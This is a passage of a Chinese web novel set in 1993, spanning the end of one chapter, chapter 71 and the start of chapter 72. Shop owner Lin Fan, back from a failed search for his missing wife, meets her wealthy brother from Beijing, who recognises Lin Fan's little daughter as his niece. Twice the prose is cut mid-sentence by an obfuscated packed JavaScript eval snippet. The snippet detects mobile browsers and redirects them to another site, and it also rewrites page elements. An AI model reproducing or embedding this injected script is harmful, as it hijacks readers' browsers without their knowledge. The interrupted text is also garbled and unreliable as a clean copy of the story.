他被工业区的保安拦过三次,一次是在蛇口的电子厂门口,保安穿着藏青色制服,手里拿着橡胶棍,说“没介绍信不让进”; 一次是在罗湖的玩具厂,保安见他背着旧帆布包,直接挥手让他“别在这儿晃悠,影响工人上班”。 为了解暑,他喝了十二杯路边五毛钱一碗的凉茶,那凉茶装在粗瓷碗里,碗边有个小豁口,摊主是个瘸腿的老头,总坐在华强北巷口的老榕树下,凉茶里放了晒干的金银花和菊花, 喝起来又苦又涩,林凡每次喝都要皱着眉咽下去,却还是买,因为能解深圳的暑气。 他甚至在福建老乡会的塑料布搭的棚子里蹲守了三晚,棚子漏风,晚上得裹着带来的薄外套,老乡们给他凑了碗稀饭,就着咸菜吃,得到的却只有“没见过”“好像有印象但记不清了”的答复—— 在那个人人忙着找工作、拼生计的年代,没人会过多留意一个总穿碎花衬衫、说话轻声细语的女人。苏晚晴如同人间蒸发,只留下那个在老家县城菜市场惊鸿一瞥的身影: 那天她穿件淡紫色碎花衬衫,袖口卷到小臂,提着半袋刚买的土豆,土豆皮上还沾着湿泥,她的指甲缝里也沾着泥, 大概是挑土豆时蹭的,见到林凡时还笑了笑,说“这土豆新鲜,炖排骨好吃”,以及更深重的迷雾。 回到“笑笑宝贝屋”,熟悉的场景让林凡紧绷的神经稍稍放松。 这是去年他从县供销社盘下的旧铺面,位置在县城主街的中段,左边是卖农资的店铺,右边是修自行车的摊子。 门口挂着块刷了红漆的木牌,“林凡童装”四个字已经褪了点色,边角的红漆都翘起来了,风一吹就“吱呀”晃。 木质货架有轻微的虫蛀痕迹,仔细看能看到细小的虫眼,林凡刷了层浅黄油漆盖住,右下角却掉了一小块,露出里面的原木色。 货架上摆着的东西很实在:本地针织厂生产的碎花童装,图案是小梅花和小黄鸭,领口缝着白色的布扣,布扣是用棉布裹着硬纸板做的,洗多了会有点变形; 上海家化的友谊雪花膏,铁盒装,盖子上印着红色的腊梅,打开有股淡淡的脂粉香,很多来买童装的妈妈会顺带买一盒,说“给孩子擦脸不皴”; 还有刚从济南批发市场批来的卡通贴纸——1993年正是国产动画《大头儿子小头爸爸》热播的时候,县城里的黑白电视每晚六点半都会放,孩子们看完就吵着要贴纸。 贴纸上的“小头爸爸”咧嘴笑着,戴顶蓝色小帽子,3x5厘米的尺寸,一毛钱一张,成了县城孩子的新宠,有的孩子买了舍不得贴,会夹在课本里当书签。 王猛把店铺打理得井井有条。他是林凡的远房表哥,去年从乡下过来帮忙,穿件蓝色劳动布褂子,袖口磨白了,肘部还打了个补丁,是他媳妇用同色布缝的。 见到林凡回来,他激动得差点碰倒柜台上的玻璃罐——罐子里装着卖五分钱一颗的水果糖,有橘子味、苹果味,糖纸是透明的,能看见里面淡黄色或淡红色的糖块,阳光照进去会发亮。 他手里攥着支铅笔,笔杆上缠着胶布,是怕打滑,翻着牛皮纸封面的账本絮絮叨叨: “上周供销社李主任来问能不能进上海产的儿童皮鞋,说他孙子满月要穿,要黑色带扣的,还特意强调‘鞋底得软,孩子刚学走路’; 前天隔壁裁缝铺刘婶买了两张贴纸,一张‘小头爸爸’一张‘围裙妈妈’,说给外孙女当书包贴,外孙女才三岁,看见贴纸就抱着刘婶的脖子喊‘要要’; 对了,咱们进的二十套蓝色背带裤卖剩五套了,县城小学门口的孩子都穿这个,昨天还有个家长来问能不能再进十套,说‘孩子同学都有,就我家娃没有,闹着要’!” 最让林凡慰藉的是笑笑。 女儿踩着红色小皮鞋跑过来,鞋头缝着个粉色小蝴蝶结,蝴蝶结的线有点松了,鞋边沾了点泥土,大概是早上在门口玩的时候蹭的。 她头顶的羊角辫还沾着两根细细的面条—— 王猛早上给她煮的阳春面,只放了点盐和葱花,笑笑吃得急,没擦嘴就跑出去了。 林凡看着女儿,觉得她似乎又长高了一点—— 他从柜台下拿出那把红色的“上海牌”软尺,软尺的刻度有点模糊,他用手指蹭了蹭才看清,绕着笑笑的头顶量了量,果然比上个月高了两厘米。 “爸爸,高了!”笑笑仰着小脸喊,声音脆生生的。 笑笑像只快乐的小鸟扑进他怀里,小手攥着他的衣角—— 他的衬衫是的确良的,洗得有点发白,领口还补过一颗黑色的纽扣,和原来的白色纽扣不太一样。 那股依赖和亲昵瞬间冲淡了他旅途的劳顿和心中的挫败,他弯腰抱起笑笑,能闻到女儿头发上淡淡的肥皂味,是县城百货大楼买的“蜂花”香皂味。 生活似乎又回到了原来的轨道。1993年的县城还没有“个体户”的优越感,甚至还有人背后议论“投机倒把”,林凡每次听到都装作没听见。 他每天早上六点开门,先把店铺的玻璃门擦一遍,用的是旧报纸,擦完的报纸还能留着生火; 晚上八点关门,最后再把货架上的童装整理好,把歪了的衣架摆正,把掉在地上的线头捡起来。 他的主要精力都放在店铺和市区百货大楼的专柜上——那个专柜在县城中心十字街口的百货大楼二楼,位置不算好,旁边是卖童鞋的摊位,摊主是个胖阿姨,总爱和他聊家常。 去年他托了供销社的张叔才租到这个专柜,张叔是他父亲的老同事,为人实在,帮他说了不少好话。 专柜每月要交八十块租金,当时县城普通工人月薪也就一百五十块,林凡每次交租金都要数好几遍钱。 专柜卖的是本地厂的童装,一件利润只有两三块,但胜在稳定,每月能卖出去五六十件,够交租金和王猛的工钱。 他努力消化着南下失败的颓丧,将那份对答案的渴望更深地埋藏起来,用加倍的工作和对笑笑的陪伴来麻痹自己: 早上送笑笑去“东方红幼儿园”——那是县城唯一的公办幼儿园,门口有个锈迹斑斑的铁皮滑梯,滑梯的拐角处都磨亮了,孩子们最喜欢从上面滑下来,“嗖”地一下就到底。 入园要交三百块赞助费,几乎是他两个月的利润,林凡当时咬着牙交了,就想让女儿能接受好点的教育; 中午骑着二八大杠自行车回来帮王猛看店,自行车是他结婚时买的,黑色的车架,车把上缠着黑胶布,后座安了个小座椅,是给笑笑坐的,座椅上还缝了块海绵垫; 晚上坐在煤油灯底下给笑笑讲故事——讲的是从废品站淘来的旧童话书,有《小蝌蚪找妈妈》《三只小猪》,书页缺了角,用透明胶带粘过,有的字都模糊了, 林凡就凭着记忆编,笑笑听得很认真,眼睛睁得大大的,有时候还会问“小蝌蚪找到妈妈了吗”“小猪的房子没被吹倒吗”。 他以为,关于苏晚晴的一切,又将再次沉入水底,像县城那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658025|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条浑浊的沂河。 沂河的水常年是黄褐色的,里面混着泥沙,河边全是土坡,夏天会有孩子在河边摸鱼,冬天就结上一层薄冰,把所有的秘密都埋在河底的淤泥里,看不见也摸不着。 然而,命运似乎总喜欢在不经意间,投下巨石。 那是一个春光明媚的下午,店里的顾客不多—— 1993年的县城还没有“周末逛街”的习惯,人们大多在农忙或上班,只有闲下来的老人会带着孩子来店里看看,有的老人还会讨价还价, “这童装能不能便宜点,我家娃穿不了多久就小了”。 阳光斜着照进店里,在水泥地上投出玻璃门的细长影子,空气中飘着淡淡的布料味——新童装的棉絮味混着旧货架的木头味,还有水果糖的甜香。 林凡正耐心地教笑笑认新到的卡通贴纸,那是王猛托去广州进货的司机带回来的,司机是个河南人,每次进货都会帮他们带点稀罕玩意儿。 这次的贴纸除了“小脑斧”“大西几”,还有“围裙妈妈”和“小花猫”,边角沾着长途汽车带来的土黄色灰尘,擦一下能留下一道印子,林凡用湿布擦了好几遍才干净。 阳光暖洋洋地照在笑笑毛茸茸的小脑袋上,她学得认真,小手指点着“小脑斧”的贴纸,奶声奶气地念着“小——脑——斧”,逗得林凡和王猛忍俊不禁。 王猛笑得太用力,嘴里叼着的“大前门”烟卷都掉在了地上,烟卷还冒着一点青烟,他赶紧用脚踩灭—— 1993年县城店铺还没禁烟规定,但他怕烧到货架上的童装,那些童装都是纯棉的,一点火星就能烧起来。 踩完他又用手掸了掸鞋底的烟灰,掸下来的烟灰落在地上,被他用脚蹭了蹭。 就在这时,店门被轻轻推开,门楣上的风铃发出“叮铃叮铃”的轻响—— 那风铃是林凡去年从青岛旅游时买的,当时他带着笑笑去青岛看海,在海边的小店里花了五块钱买的。 贝壳有白色、淡粉色,穿在细绳子上,绳子有点褪色,在当时的县城还算新鲜玩意儿,路过的孩子总喜欢伸手碰一下,风铃一响,就知道有人来了。 林凡下意识地抬头说“欢迎光临”,但后半句话卡在了喉咙里,像被什么东西堵住了——他的目光落在来人身上,瞬间就绷紧了神经。 进来的是一位年轻男子,约莫二十三四岁年纪,身姿挺拔,大概一米八五,比林凡高小半头。 他穿着剪裁考究的浅灰色休闲西装,不是县城常见的宽松款,是收腰的,腰部的缝线很整齐,衬得他肩膀很宽。 1993年的县城里,男**多穿的确良衬衫、涤卡裤子,偶尔有穿西装的也是宽松的国产“雅戈尔”,两百多块一套,而这人的西装面料一看就不一般—— 是意大利进口的薄款羊毛,林凡之前在深圳的外贸店见过类似的,摸起来软滑,不像国产面料那么硬。 西装的袖口纽扣刻着细小的金色“Ferra****”标识,不仔细看根本发现不了,林凡也是因为在深圳见过外贸货,才认出这个牌子。 他里面穿的白衬衫是细棉的,领口没有一丝褶皱,连没打领带的领口弧度都透着精致,像是用熨斗仔细烫过,林凡甚至能看到衬衫领口内侧的白色标签,上面印着小小的英文。 他身上还带着一股淡淡的气味,除了雪松香,还有一点淡淡的柑橘味,是县城人从未闻过的进口香水味—— 县城里的**多不用香水,只有少数结婚的女人会买“友谊”牌的香脂,味道很浓。这股香水味不刺鼻,却和店里的水果糖甜香、雪花膏脂粉味格格不入,显得格外突兀。 他身后跟着一个约莫三十岁的平头男人,穿件深蓝色“李宁”夹克—— 胸前有白色的“李宁”logo,1993年“李宁”刚成为国产运动品牌代表,一件夹克要卖一百二十八块,相当于普通工**半个月工资,县城里没几个人穿得起。 男人手里提着个黑色人造革公文包,上面有个金属搭扣,搭扣擦得很亮,他安静地停在门口,像尊门神,眼神警惕地扫了圈店里,扫过林凡藏在柜台下的电话时,停顿了一秒,又快速移开。 年轻男子的目光在店内扫过,掠过货架上的碎花童装时停了一秒—— 大概是看到了那件苏晚晴织的米白色小毛衣,然后又扫过玻璃罐里的水果糖,最终,精准地、牢牢地定格在了正趴在柜台边、仰着小脸好奇地望着他的笑笑身上。 那一刻,林凡清晰地看到,年轻男子那双深棕色的眼眸中,骤然掀起了剧烈的波澜! 惊讶让他的眉毛微微挑起,眉峰向上扬了扬; 难以置信让他的眼神顿了顿,像是没看清;探究的目光在笑笑脸上转了圈,从笑笑的眼睛看到鼻子,又看到嘴巴; 还有一种……像看到失而复得珍宝般的强烈情感,让他的眼神亮了起来,像突然点亮了两盏灯。 第71章:天降豪门舅舅 他的脚步不受控制地向前迈了一步,黑色的意大利手工皮鞋踩在水泥地上,发出“嗒”的清脆声响—— 那皮鞋鞋头很圆,没有一点划痕和灰尘,显然是刚从轿车上下来的(1993年县城里的轿车屈指可数,全县城也就五万多人, 私人轿车不超过五辆,大多是供销社或政府的黑色桑塔纳,停在县政府门口的院子里)。 他的视线如同被磁石吸住,再也无法从笑笑脸上移开,呼吸都变得急促起来,胸口微微起伏,手指不自觉地攥了下拳头,指节都有点发白。 林凡的心瞬间提到了嗓子眼,几乎是本能地侧身,把笑笑往自己身后拉了拉,护在了身后;他的手碰到笑笑的肩膀,能感觉到女儿小小的身体在微微发抖,大概是察觉到了他的紧张。 他的手悄悄碰到了柜台下的黑色转盘电话—— 那是上个月刚装的座机,花了三百块安装费,号码是“34567”,数字是白色的,贴在电话旁边的墙上。话费一分钟两毛钱,平时他舍不得打,只有联系济南批发商时才用, 但真遇到事,这是唯一的求助方式。1993年邻县刚发生过骗子冒充“北京干部”骗走供销社三万块货款的事, 那骗子也是穿得光鲜亮丽,说能弄到紧俏的化肥,结果把钱骗走就没影了,林凡当时听供销社的人说过,不得不警惕。 “先生,需要点什么?” 他的声音带着不自觉的冷硬,像绷紧的弓弦,手指因为紧张而有点发凉,指尖甚至有点发麻。 年轻男子似乎这才回过神来,意识到自己的失态。 他深吸一口气,努力平复了一下情绪,指节因为用力而微微发白,脸上的表情慢慢放松下来。 他转向林凡,露出一抹尽量显得友善却依旧难掩激动的笑容,嘴角还有个不明显的小梨涡;这梨涡让他看起来少了点距离感,多了点温和。 “请问,您是林凡先生吗?” “我是。你是?” 林凡的戒备心更重了,眉头皱了起来,眉心拧成一个小疙瘩。 这个人不仅气质非凡,还直接叫出了他的名字——他在县城除了生意伙伴和邻居,没认识几个外人,更别说这样一看就“非富即贵”的“大人物”。 他甚至在想,是不是自己在深圳找苏晚晴的时候,得罪了什么人,对方找上门来了。 男子没有立刻回答,他的目光又忍不住飘向林凡身后的笑笑,语气变得异常温和,甚至带着一丝不易察觉的颤抖: “这个孩子……是叫笑笑吗?” 笑笑从林凡腿边探出小脑袋,大眼睛眨了眨,长长的睫毛像小扇子,手里还攥着那张“小脑斧”贴纸,贴纸的边角被她捏得有点皱。 她对这个穿漂亮衣服、长得比幼儿园老师还好看的叔叔并不害怕,反而伸出小手,想去摸他西装上的镀金纽扣—— 那纽扣在阳光下闪着光,小小的,圆圆的,像颗小太阳。 “叔叔,纽扣好看。”她小声说。 林凡将笑笑的反应看在眼里,心中的疑团像滚雪球般变大。1993年的县城是个“熟人社会”,谁家有孩子、叫什么名字,大多传遍半个城,但这个外来人怎么会知道笑笑的名字? 他又没在店里挂笑笑的照片,也没跟外人提过女儿的名字。 他沉声道: “你是谁?想干什么?” 年轻男子终于将目光完全收回,正视林凡,神情变得郑重起来。 他从西装内袋里取出一个精致的名片夹—— 那是黑色的鳄鱼皮材质,上面有细小的纹路,摸起来应该很有质感,打开时能看到里面还放着三四张其他名片, 都是白色或浅灰色的,印着不同的名字和头衔,但他只抽出了最上面那张——抽出一张素雅的名片,双手递了过来,递的时候手指微微弯曲,显得很礼貌。 林凡接过名片,触手是极有质感的进口哑粉纸,比县城百货大楼卖的最好的信纸还厚,边缘烫了一圈浅金,金箔亮得晃眼。 上面只有简练的几行黑色字迹:第一行是“苏瑾瑜”,字体是楷体,写得很工整;第二行是“燕京”,简单两个字,却透着不一般的分量; 第三行是“苏氏集团进出口贸易部”,字体比名字小一点;最下面是一个“010-8866123”的京城电话号码(1993年京城电话还是七位, 县城刚普及五位号码,“010”开头的号码在县城几乎见不到,只有县政府的办公室才有直通北京的电话)。 燕京苏家!林凡的瞳孔猛地一缩!纵然他两世为人,对这个在华夏商界和政界都盘根错节的家族也有所耳闻—— 去年他在县城的14寸黑白电视上看“经济新闻”时,就见过报道,当时主播说苏氏集团的钢铁厂年产量达五百万吨,占北方钢铁产量的一成,光是每天的钢产量, 就够县城所有工厂用半年。1993年的华夏商界正经历着“姓资姓社”讨论后的新一轮发展,燕京的老牌家族企业大多涉足外贸、重型机械领域, 苏氏集团当时已靠着北方的钢铁厂和天津港的进出口贸易占据一席之地,光是天津港的货运吞吐量就占了当地民营份额的三成, 大概三百万吨,而县城全年的货运量也就五万吨,还大多是农产品和农资。 这样的家族,在县城人的眼里,和“北京的大官”没什么区别—— 他还记得电视里苏氏集团总部大楼的样子,三十多层高,玻璃幕墙闪闪发光,阳光照在上面能反射出刺眼的光,比县城的政府大楼(只有五层,外墙是灰色的水泥)还要气派得多。 那是真正的顶级豪门,与他所处的世界有着云泥之别,就像县城的沂河(浑浊平静,河边全是土坡,夏天长满野草)和北京的北海(水清,周围有石栏杆,还有亭子和柳树),完全是两个天地。 “苏先生?” 林凡压下心中的惊涛骇浪,尽量让自己的声音保持平稳,指节却因为攥着名片而泛白,名片的边角都被他捏得有点弯, “我们……似乎并不认识。” 苏瑾瑜看着林凡眼中的警惕和困惑,微微一笑,那笑容里带着些许复杂,像是有话想说又不知道怎么开口: “林先生,冒昧打扰。我们确实素未谋面。但我可能……是笑笑的舅舅。” “舅舅?” 林凡愣住了,一时没反应过来,脑子里一片空白,像被人用棍子敲了一下。 他脑海里闪过苏晚晴的样子,那个在县城菜市场卖过青菜、穿碎花衬衫的女人—— 她当时住的是城郊的**房,房顶是石棉瓦的,下雨时会漏雨,月租十五块,窗户上糊着旧报纸,报纸是1990年的,都发黄了。 她每天早上五点就去菜市场占摊位,冬天天还没亮就出门,耳朵冻得通红,怎么会和燕京苏家扯上关系? 1993年的社会,家族背景对一个人的影响远比后来要大,一个豪门千金跑到小县城卖青菜,每天和挑挑拣拣的顾客讨价还价,简直像天方夜谭—— 县城里的豪门,比如供销社主任家,女儿都在百货大楼当售货员,穿得干干净净,哪里会去菜市场风吹日晒? “是的,亲舅舅。” 苏瑾瑜的语气无比肯定,还微微点了点头,他的目光再次温柔地投向笑笑,像看着稀世珍宝,眼神里满是疼爱, “如果我没猜错,她的母亲,是我的姐姐,苏晚晴。” 轰! 如同惊雷在耳边炸响! 林凡整个人都僵住了,手里的名片“啪嗒”掉在地上,正面朝下,“苏瑾瑜”三个字朝上,金色的边缘在阳光下很显眼。 他千想万想,也没想到会是以这种方式,接触到苏晚晴的背景!苏晚晴竟然是燕京苏家的女儿? 那她当年怎么会跑到县城,住漏风的**房,甚至去菜市场卖青菜(冬天的时候,她的手冻得通红,还裂了口子,林凡给她买了护手霜,她舍不得用,只在晚上睡觉前涂一点)? 1993年的豪门千金,就算离家出走,也该去上海、广州这样的大城市,那里有租界时期留下的洋房,有外资企业,怎么会来鲁南这个连像样商场都没有的小县城—— 县城最大的商场就是百货大楼,总共三层,二楼卖服装,三楼卖家电,里面的家电还大多是黑白电视和电风扇。 无数的疑问瞬间充斥了林凡的大脑,让他几乎无法思考,耳边只剩下王猛倒抽冷气的声音; 王猛手里的棕色鸡毛掸子都掉在了地上,掸子头散了几根**,白色的鸡毛飘在地上,他捡了两次才捡起来,手指都在抖,嘴里喃喃着: “燕京……那不是北京吗?苏家……是电视里那个苏家?就是那个有大钢铁厂的苏家?” 他平时也看经济新闻,对“苏氏集团”这四个字有印象,只是没想到会和林凡扯上关系。 苏瑾瑜趁着他愣神的功夫,已经蹲下身,与笑笑平视。 他的膝盖弯下去时,西装的下摆轻轻扫过地上的灰尘,他下意识地用手拍了拍,拍掉了灰尘。 动作很轻,生怕吓到孩子,脸上露出了极其真诚而温柔的笑容,那是一种发自内心的喜爱,毫无作伪,眼神里的暖意像要溢出来。 “笑笑,你好呀。” 苏瑾瑜的声音轻柔得能滴出水来,比幼儿园老师的声音还温柔,像春风拂过, “我叫苏瑾瑜,你可以叫我……舅舅。” 他似乎对这个称呼也有些生涩,毕竟找了姐姐三年,第一次见到外甥女,眼神却异常明亮,像点亮了两盏灯,里面还有点水光,大概是激动的。 笑笑歪着小脑袋,看着眼前这个漂亮的叔叔,又抬头看了看脸色变幻不定的爸爸,小脸上满是茫然。 但奇怪的是,她对苏瑾瑜并没有对陌生人的那种戒备,反而被他身上温和的气息所吸引,小手伸过去,摸了摸他西装的袖口—— 羊毛面料很滑,摸起来很舒服,她忍不住又摸了一下,小声地、试探性地重复了一句: “啾……啾?” 她还不太会发“舅”的音,把“舅舅”说成了“啾啾”。 “哎!” 苏瑾瑜竟然无比自然地应了一声,声音很响,带着抑制不住的激动,眼中的笑意更深了,眼眶微微发红,眼角有了点湿润。 他伸出手,想摸摸笑笑的脸蛋,又怕唐突,手停在半空,指节微微颤抖—— 他的手指很长,指甲修剪得很整齐,没有一点污垢,指甲缝里干干净净的,一看就是平时很注重细节的人。 他看向林凡,语气带着一丝恳求,眼神里满是期待: “林先生,我……我可以抱抱她吗?我找姐姐和她,找了整整三年。” 他的声音里带着不易察觉的哽咽,1993年的交通不像后来那么便利,没有高铁,长途靠绿皮火车,他从北京到南方的深圳、广州,再到山东的济南、青岛,跑了十几个城市, 光是火车票就攒了一厚沓,放在家里的抽屉里,有的票根都泛黄了,上面的字迹都模糊了。他甚至在深圳的城中村住过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658026|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个月,每天挨家挨户地问,脚都磨起了泡。 林凡看着苏瑾瑜眼中那几乎要溢出来的、与生俱来的亲热和渴望,再看看笑笑并不排斥的样子 女儿正伸手去够苏瑾瑜胸前的银色钢笔(那是支“派克”钢笔,笔帽上有黑色的“Parker”logo, 林凡之前在县城文具店问过,要两百二十块,相当于他一个月的利润,没舍得买),小手差点碰到钢笔。 他心中五味杂陈,像打翻了五味瓶,有惊讶,有疑惑,还有一丝不安。 他沉默了几秒,想起苏晚晴临走前的眼神(当时她眼里含着泪,泪珠在眼眶里打转,却没说话,只是摸了摸笑笑的头,摸了很久,像是要把女儿的样子记在心里), 想起笑笑每次问“妈妈在哪里”时的失落(笑笑会抱着林凡的腿,仰着小脸,小声说“爸爸,我想妈妈了,妈妈什么时候回来”, 每次听到这话,林凡都不知道怎么回答,只能把女儿抱起来,说“妈妈去很远的地方了,等她回来就给笑笑买糖吃”),最终,微微点了点头。 苏瑾瑜如获至宝, 小心翼翼地伸出双手,托着笑笑的腋下,把她抱了起来—— 他的动作很标准,手指托着笑笑的腰,生怕勒到孩子,动作轻柔得像抱着易碎的瓷器。 笑笑大概二十斤重,他抱的时候很稳,没有晃一下,显然是抱过孩子的。 笑笑似乎也很喜欢这个新“舅舅”,小手自然地搭在他的肩膀上,好奇地摸着他西装上光滑的料子,还把那张攥了半天的“小脑斧”贴纸, 贴在了他的西装左口袋上——“小脑斧”的脸朝着外面,咧嘴笑着,格外显眼,和他严肃的西装形成了鲜明的对比。 “笑笑真乖,真漂亮,像姐姐小时候……” 苏瑾瑜抱着笑笑,轻声低语,眼眶更红了,声音有点沙哑。 他想起小时候,姐姐也是这样,喜欢把卡通贴纸贴在他的作业本上,有时候还会贴在他的衣服上,有一次贴在了他的校服上,他穿着去学校,被同学笑了半天。 如今物是人非,姐姐不知去向,外甥女却成了唯一的慰藉,他抱着笑笑,感觉像抱住了姐姐的影子。 王猛在一旁看得目瞪口呆,完全搞不清状况,一会儿看看林凡(林凡的脸色还是有点白,嘴唇抿得紧紧的),一会儿看看抱着笑笑的苏瑾瑜(苏瑾瑜正温柔地问笑笑“喜欢吃糖吗? 舅舅给你买好多好多糖”),手里的鸡毛掸子捡起来又掉下去,还不小心碰掉了柜台上的一本账本,账本摔在地上,纸页散了一地。 他像个没头苍蝇, 在原地转了两圈,嘴里还念叨着 “这……这到底咋回事啊? 笑笑咋突然有个北京的舅舅了? 这苏家……真的是电视里那个吗?” 他越说越乱,声音都有点发颤。 林凡看着这一幕,心情复杂到了极点。 天降豪门舅舅,这对笑笑是福是祸? 1993年他听深圳的老乡说过,有钱人家的规矩多,吃饭要分专门的碗筷,孩子从小要学钢琴、 学英语,还要学礼仪,要是苏家觉得他这个“个体户”不配养笑笑,要把笑笑带走,他该怎么办? 他就这么一个女儿,要是失去笑笑,他的生活就彻底没意义了。 苏晚晴的失踪,是否与她的家族有关? 是因为家族反对她和他这个“普通人”的婚事,逼她回北京,所以她才不得不躲起来? 还是因为苏家的商业**,比如和其他家族的竞争,让她不得不隐藏身份,跑到小县城避祸? 苏瑾瑜的出现,是单纯的认亲,还是代表着苏家某种态度的转变—— 比如,终于愿意接纳笑笑这个“外孙女”了? 还是说,苏家有其他的目的,比如想通过笑笑找到苏晚晴,然后把苏晚晴带回北京,彻底断绝她和这个县城的联系? 温暖的阳光下,小小的店铺里,血缘的纽带以一种意想不到的方式悄然连接。 风铃还在轻轻摇晃,“叮铃叮铃”的声音和笑笑“咯咯咯”的笑声、苏瑾瑜的温柔话语交织在一起,空气中似乎都多了几分暖意。 笑笑在苏瑾瑜怀里笑得很开心,小手还在摸他的西装,嘴里时不时喊一声“啾啾”,苏瑾瑜每次都应得很响亮,脸上的笑容就没断过。 但林凡深知,豪门的门槛,从来不是那么容易迈过的。 1993年的社会阶层差距,比后来更明显,他这个县城个体户,年收入也就两千块左右,省吃俭用才能攒下几百块, 而苏家的人可能一个月的零花钱就有几千块,穿的衣服、用的东西,都是他想都不敢想的。 要和燕京苏家打交道,无异于以卵击石,他就像沂河边的一棵小草,而苏家是远处的高楼,根本不在一个层次。 这份突如其来的“亲热”,背后究竟隐藏着怎样的过往和意图? 是苏家终于良心发现,想弥补笑笑,还是另有所图?苏晚晴现在在哪里?她知道苏家找到笑笑了吗? 平静的生活,似乎即将被卷入一场更大的漩涡,就像1993年夏天即将到来的暴雨,看似遥远,却已带着潮湿的水汽,悄然逼近—— 窗外的天空,已经慢慢阴了下来,刚才还明媚的阳光被乌云遮住,风也大了起来,吹得门口的杨树叶“哗啦哗啦”响,远处传来几声闷雷,像是暴雨的前奏。 林凡抬头看了看窗外,心里的不安越来越重,他总觉得,有什么大事要发生了。 第72章:鸿沟与微光 1993年10月底的风裹着霜气刮在脸上,像细沙蹭过皮肤,巷口的梧桐树落了满地碎金,踩上去“咔嚓”响。 苏瑾瑜推开“笑笑宝贝屋”木门时,手掌先触到门板上磨得发毛的老松木纹理—— 糙得蹭着掌心的茧,指缝还沾了点经年的树脂黏意,这门是去年林凡和王猛一起盘下店铺时留的,用了快十年, 边角被往来买童装、挑文具的顾客蹭得发亮,连木纹里都嵌着点橡皮屑和棉布纤维。 秋风裹着巷口馄饨店的油烟味钻进来,混着葱花和骨头汤的鲜,门楣上的铁风铃“叮铃哐当”响,链条与玻璃瓶底的脆响里,裹着点铁锈的钝音,像老自行车刹车时的轻颤。 这风铃是林凡用自行车旧链条改的,边缘没磨彻底,上周笑笑抓着晃,指尖被划了道小口子,王猛特意找砂纸磨了半天,磨得指尖都泛了红。 店里分了两半,靠门的货架摆着文具,晨光斜斜地照在“北京牌”练习本上,封面**的金粉蹭得发淡; 靠里的衣架挂着童装,棉布衣裳沾着阳光晒过的暖香。王猛正站在童装区整理灯芯绒背带裤,指尖捏着裤腰的按扣,灯芯绒摩擦着发出“沙沙”的细响, 他时不时把裤脚翘起来的线头抿在嘴里扯断,软尺在手腕上绕了两圈,尾端的金属坠子晃来晃去。 他是林凡县国营纺织厂的老工友,几月前被林凡拉来帮忙,然后就一值和林凡一起经营这家店。这家店主要主理童装和文具。 “凡子,这周灯芯绒卖得好,只剩3条了,下周得去批发市场补10件。” 王猛的声音带着车间里练出的洪亮,手里还捏着块软尺,指腹蹭过尺上的刻度, “刚才张婶来给她孙子买棉袄,说咱们家的棉布比供销社软,贴皮肤不扎人,下次要带邻居来。” 林凡蹲在收银台后削苹果,不锈钢水果刀用了五年,刀刃上的小豁口在15瓦灯泡下闪着细光。 他削得慢,刀刃刮过苹果皮的“沙沙”声裹着清甜,果皮被他卷成均匀的圈,避免碎渣掉满地。左手食指的薄茧蹭过果皮,偶尔带下的果肉碎屑,落在旁边装麦麸的竹篮里—— 麦麸是隔壁王婶早上送来的,还带着点麦秆的糙感,垫在笑笑的小棉鞋里能吸寒气。笑笑刚满4岁,正坐在童装区的小凳子上,抱着个印着小熊的童装模特, 小手揪着模特身上的碎花小裙子,指甲缝里还沾着昨天画蜡笔的黄颜料: “爸爸,这件好看,我能穿吗?” 林凡抬头笑,眼角皱起细纹: “等你再长高点,爸爸让王叔叔给你留一件,到时候让王叔叔给你缝个小口袋,装你的橡皮。” 店里飘着橘子味香皂的淡香,混着货架上橡皮的橡胶味、蜡笔的油彩味,还有童装棉布的阳光味—— 这是每天开门后,林凡用热毛巾擦文具货架的味道,毛巾拧干时冒的白汽,会在玻璃货柜上凝一层薄水,他总要用旧报纸再擦一遍,报纸上的油墨字偶尔蹭在指腹,搓两下才掉; 王猛则会把童装一件件拎起来,对着光看有没有线头,上周他还把一件棉袄的脱线处缝好了,针脚比林凡整齐,线是从自己旧毛衣上拆的,颜色差了点,却结实。 墙面从收银台贴到后门,满是笑笑的蜡笔画:明黄色的太阳边缘歪歪扭扭,颜料是县城国营商店买的“敦煌牌”,一毛钱一小管,有些地方涂太厚,还透着点裂纹; 小房子的烟囱冒着粉色炊烟,烟圈里的五角星缺了个角,王猛怕画纸卷边,特意用透明胶在四角粘了小方块; 最角落那幅,扎羊角辫的小人穿红裙子,旁边“爸爸”两个字用拼音混着写,“爸”字的竖勾拉得太长,差点蹭到墙上1993年的挂历—— 挂历上巩俐的笑脸边,被笑笑抠出几道指甲印,边角卷得像朵花,林凡用硬纸板夹在后面,才没让它掉下来。 门口的苏瑾瑜裹着深灰色“三枪”羊绒衫,袖口的珍珠纽扣在灯光下泛着润光。 那羊绒摸起来定是软的,贴在皮肤上该是暖的,林凡盯着纽扣想,上次在县百货大楼见过同款,导购说单这一件的价钱,够他和王猛进两箱童装、三箱英雄钢笔。 苏瑾瑜走进来的时候,皮鞋踩在水泥地上“噔噔”响,鞋底硬邦邦的,每一步都透着刻意的稳,和墙上“英雄钢笔12元/支、鸵鸟墨水1.5元/瓶”的红纸海报、 衣架上挂着的25元一件的棉布棉袄形成刺目的对比——海报是林凡写的,毛笔字练了半宿,墨汁洇在纸缝里,他还用红色马克笔在“特价”两个字上描了三遍; 